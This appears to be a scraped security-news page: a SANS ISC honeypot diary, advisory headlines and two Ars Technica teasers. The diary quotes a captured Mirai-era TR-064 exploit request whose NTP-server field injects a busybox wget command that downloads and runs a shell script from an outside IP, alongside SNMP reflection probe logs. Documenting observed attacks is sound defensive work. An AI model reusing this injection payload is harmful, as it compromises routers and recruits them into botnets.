Sometimes, it isnt the new and sophisticated attacks that keep your honeypots (and with that: you) busy, but things that make you go that works?. Looking over my honeypot today, I had a couple experiences like this. First of all, the old TR-064 NTP Server exploit that beca me big news when the Mirai botnet adopted it. Since then, most of the servers that hosted the follow-up code no longer deliver. But this doesnt prevent thousands of existing bots to persistently attempt the exploit. In addition, it appears that some of the less skilled but persistent attackers (the Not so Advanced Persistent Threat Windows NT 5.1)
SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers
Content-Type: text/xml
Content-Length: 557
?xml version=1.0?SOAP-ENV:Envelope xmlns:SOAP-ENV=http://schemas.xmlsoap.org/soap/envelope/ SOAP-ENV:encodingStyle=http://schemas.xmlsoap.org/soap/encoding/ SOAP-ENV:Body u:SetNTPServers xmlns:u=urn:dslforum-org:service:Time:1 NewNTPServer1`cd /tmp /bin/busybox wget http://95.215.62.11:80/bin.sh -O - bin.sh sh bin.sh`/NewNTPServer1 NewNTPServer2/NewNTPServer2 NewNTPServer3/NewNTPServer3 NewNTPServer4/NewNT PServer
4 NewNTPServer5/NewNTPServer5 /u:SetNTPServers /SOAP-ENV:Body/SOAP-ENV:Envelope

The problem with this code is that there is no empty line between headers and body, which makes the request fail. Apache responds to this with a 400 error. Over the last 6 hours, I got about 40,000 requests from around 1,000 different IPsacrosss different honeypots.

Another attack that doesnt go away is SNMP attacks from port 80. These are kind of background trickle that you will see if you look at your firewall logs a bit more careful. And hopefully, they will show up in your firewall as blocked or dropped. The typically I believe these requests to be spoofed and used as part of a reflective DDoS attack. Most SNMP requests not originating from port 80 do come from researchers. (University Bochum seems to be doing a survey, and of course, Shodan).

A typical SNMP request would be:
13:41:06.216683 IP 50.187.245.21.80 a.b.c.d.161: GetBulk(42) N=0 M=10 .1.3.6.1.2.1.1.1 .1.3.6.1.2.1.1.9.1.3

This request will solicit a description of the system in return, which of course can be somewhat large. In my case, it is 993 bytes:

13:41:06.217446 IP a.b.c.d.161 50.187.245.21.80: GetResponse(993) .1.3.6.1.2.1.1.1.0=Linux myhost 4.4.0-59-generic #80-Ubuntu SMP Fri Jan 6 17:47:47 UTC 2017 x86_64 .1.3.6.1.2.1.1.9.1.3.1=The MIB for Message Processing and Dispatching. .1.3.6.1.2.1.1.2.0= .1.3.6.1.4.1.8072.3.2.10 .1.3.6.1.2.1.1.9.1.3.2=The management information definitions for the SNMP User-based Security Model. .1.3.6.1.2.1.1.3.0=17457385 .1.3.6.1.2.1.1.9.1.3.3=The SNMP Management Architecture MIB. .1.3.6.1.2.1.1.4.0=Me [email protected] .1.3.6.1 .2.1.1.9.1.3.4=The MIB module for SNMPv2 entities .1.3.6.1.2.1.1.5.0=flyinghorse .1.3.6.1.2.1.1.9.1.3.5=View-based Access Control Model for SNMP. .1.3.6.1.2.1.1.6.0=Sitting on the Dock of the Bay .1.3.6.1.2.1.1.9.1.3.6=The MIB module for managing TCP implementations .1.3.6.1.2.1.1.7.0=72 .1.3.6.1.2.1.1.9.1.3.7=The MIB module for managing IP and ICMP implementations .1.3.6.1.2.1.1.8.0=16 .1.3.6.1.2.1.1.9.1.3.8=The MIB module for managing UDP implementations .1.3.6.1.2.1.1.9.1.2.1=.1.3.6.1.6.3.11.3.1.1 .1.3.6.1.2.1.1.9.1.3 .9=The MIB modules for managing SNMP Notification, plus filtering. .1.3.6.1.2.1.1.9.1.2.2=.1.3.6.1.6.3.15.2.1.1 .1.3.6.1.2.1.1.9.1.3.10=The MIB module for logging SNMP Notifications.

The source of the request was a Comcast IP. It isnt clear to me if it was spoofed and if there is something worth DDoSing at that IP, or if this is someone scanning for possible reflectors.

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
 
EMC RSA BSAFE Crypto-J Security Bypass and Information Disclosure Vulnerabilities
 
EMC Data Protection Advisor CVE-2016-8211 Directory Traversal Vulnerability
 
EMC PowerPath Virtual (Management) Appliance CVE-2016-0890 Information Disclosure Vulnerability
 
EMC Data Domain OS CVE-2016-8216 Local Command Injection Vulnerability
 
Drupal Microblog Remote Security Vulnerability
 
Multiple F5 BIG-IP Products CVE-2016-9249 Denial of Service Vulnerability
 

Enlarge (credit: Thinkstock / Aurich Lawson)

Former Firefox developer Robert O'Callahan, now a free agent and safe from the PR tentacles of his corporate overlord, says that antivirus software is terrible, AV vendors are terrible, and that you should uninstall your antivirus software immediately—unless you use Microsoft's Windows Defender, which is apparently okay.

A couple of months back, Justin Schuh, Google Chrome's security chief, and indeed one of the world's top infosec bods, said that antivirus software is "my single biggest impediment to shipping a secure browser." Further down the thread he explains that meddling AV software delayed Win32 Flash sandboxing "for over a year" and that further sandboxing efforts are still on hold due to AV. The man-in-the-middle nature of antivirus also causes a stream of TLS (transport layer security) errors, says Schuh, which in turn breaks some elements of HTTPS/HSTS.

These are just two recent instances of browser makers being increasingly upset with antivirus software. Back in 2012, Nicholas Nethercote, another Mozillian working on Firefox's MemShrink project said that "McAfee is killing us." In that case, Nethercote was trying to reduce the memory footprint of Firefox, and found that gnarly browser add-ons like McAfee were consuming a huge amount of memory, amongst other things. If you venture off-piste into the browser mailing lists, anti-antivirus sentiment has bubbled away just below the surface for a very long time.

Read 9 remaining paragraphs | Comments

 
OpenStack oslo.middleware CVE-2017-2592 Information Disclosure Vulnerability
 
Terminal Services Agent CVE-2017-5328 Spoofing Vulnerability
 
EMC Documentum D2 CVE-2016-9872 Multiple Cross Site Scripting Vulnerabilities
 
CA Common Services CVE-2016-9795 Local Privilege Escalation Vulnerability
 

Tech support scammers in India got trapped on the phone with me for nearly two hours, and all they got was a revocation of their remote access software ID. (credit: Aurich Lawson)

Technical support scams are the bottom of the barrel for cyber-crime. Using well-worn social engineering techniques that generally only work on the least sophisticated computer users, these bootleg call-center operations use a collection of commercially available tools to either convince their victims to pay exorbitant fees for "security software" or extort them to gain control of their computer. And yet, these schemes continue to rake in cash for scammers.

We've dealt with these scammers before at Ars, but this week I got an opportunity to personally engage with a scam operation—so naturally, I attempted to inflict as much damage on it as possible.

On Monday afternoon, I got a phone call that someone now probably wishes they never made. Caller ID said the call was coming from "MDU Resources," but the caller said he was calling from "the technical support center." He informed me there were "junk files" on my computer slowing it down and that he was going to connect me with a technician to help fix the problem.

Read 95 remaining paragraphs | Comments

 
Secunia Research: Oracle Outside In VSDX Use-After-Free Vulnerability
 
RETIRED: Microsoft Internet Explorer XSS Filter Security Bypass Vulnerability
 
Linux Kernel 'sound/core/pcm_lib.c' Local Use After Free Memory Corruption Vulnerability
 
Linux Kernel CVE-2016-9576 Use After Free Memory Corruption Vulnerability
 
[slackware-security] mozilla-thunderbird (SSA:2017-026-01)
 
CA20170126-01: Security Notice for CA Common Services casrvc
 
[SECURITY] [DSA 3772-1] libxpm security update
 
ESA-2016-167: EMC Documentum D2 Multiple Vulnerabilities
 
ESA-2016-092: RSA® Web Threat Detection Cross Site Scripting Vulnerability
 
ESA-2016-132: EMC RecoverPoint Multiple Vulnerabilities
 
Internet Storm Center Infocon Status